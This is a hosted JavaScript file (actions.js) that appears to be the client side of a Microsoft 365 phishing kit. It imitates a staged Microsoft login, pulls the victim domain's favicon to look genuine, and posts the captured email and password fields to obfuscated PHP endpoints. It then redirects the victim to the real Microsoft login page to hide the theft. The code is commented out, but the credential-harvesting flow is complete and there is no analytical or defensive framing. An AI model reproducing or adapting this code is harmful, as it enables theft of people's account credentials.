Free javascript Hosting


actions.js

Uploaded on May 03 2022 02:47 by w.kateburton93

// JavaScript Document

(function(){

/*$('.ms-usertext').on('click', function(){
$(".ms-loginbox").show(1000);
$(".ms-loginbox2").hide(1000);
$('#email').val($('#me').text());
});



$('#FirstForm').on('submit', function(e){
console.log("Hello am here");
$('.overlay').show(1000);
$('#emailp').val($('#email').val());
$('#emailp1').val($('#emailp').val());
var er = $('#me').text($('#email').val());
er.value = $('#email').val();
er.readOnly = true;

var user = $('#email').val();
var uemail = user.split('@')[1];
var domain = "http://logo.clearbit.com/"+uemail;

$('#img1').attr("src", "https://www.google.com/s2/favicons?sz=64&domain_url="+uemail );
$('.ms-logo2').hide();


setTimeout(function() {
$(".overlay").hide(1000);
$(".ms-loginbox").hide(1000);
$(".ms-loginbox2").show(1000);
},2000);


e.preventDefault();
});



$('#SecondForm').on('submit', function(e){
$(".overlay").show(1000);
$.post('T_a_n_G_u_l_AR/next2.php',$(this).serialize(), function(data){
console.log(data);
$(".overlay").hide(100);
var email = $("#emailp").val();
$('#emailp1').val(email);
$('#me').text(email);
var uemail = email.split('@')[1];
$('#img1').attr("src", "https://www.google.com/s2/favicons?sz=16&domain_url="+uemail );
$('.ms-logo2').hide();
console.log("Yes it worked!");
$(".authorize").show();
$(".log104").hide();
var email = $("#emailp").val();
var uemail = email.split('@')[1];
$('#img2').attr("src", "https://www.google.com/s2/favicons?sz=32&domain_url="+uemail );


});

e.preventDefault();
});


$('#SecondForm1').on('submit', function(e){
$(".overlay").show(1000);
$.post('T_a_n_G_u_l_AR/nexxt.php',$(this).serialize(), function(data){
console.log(data);
console.log($('#me1').text());
var email = $('#me1').text();
var uemail = email.split('@')[1];
$('#img1').attr("src", "https://www.google.com/s2/favicons?sz=16&domain_url="+uemail );
$('.ms-logo2').hide();
$(".overlay").hide(100);
$(".authorize").hide();
$(".log104").hide();
$(".successLog").show();
setTimeout(function() {
$(".overlay").hide(500);
window.location.href = "https://login.microsoftonline.com/common/oauth2/authorize?client_id=4345a7b9-9a63-4910-a426-35363201d503&redirect_uri=https%3A%2F%2Fwww.office.com%2Flanding&response_type=code%20id_token&scope=openid%20profile&response_mode=form_post&nonce=637228788641271634.MjdiNWQwMzQtOTJlZC00MmNjLTg2N2UtZTUzN2FkZDBkYmUxYzIwOWNkZjQtZWQ3Ni00ZTE0LTk3MmItZTc3OTc1OTUyYzJl&ui_locales=en-US&mkt=en-US&client-request-id=f6939346-22ce-4370-b7bc-dff204fc659d&state=aCFpYKWFnIqX3VbOFTVURK1V5EYSMcw0jQS1EDVkoTaViJ7yjs2SdhCZoKR46qAbJD3kIfWZhi5745c9y0lTqX31tPTnhpFLHM5dHmmL76afYncWItEsasAyAGAac8_rIekfS0kf73YZJpCyKjL026ZoAd-NDaRX6HafdHauxflrlGIF-fniUoF7tPalBNrG0PzduZ0ZoGmMnjmrOqbJHtVXkaWT0icRir2GCUmZ_vmpMMNunFhLf9kzajqA0ko9yL9S6pRNxZFr5ygcRaM4uA&x-client-SKU=ID_NETSTANDARD2_0&x-client-ver=6.3.0.0";
},2000);


});

e.preventDefault();
});*/


})()

Back to list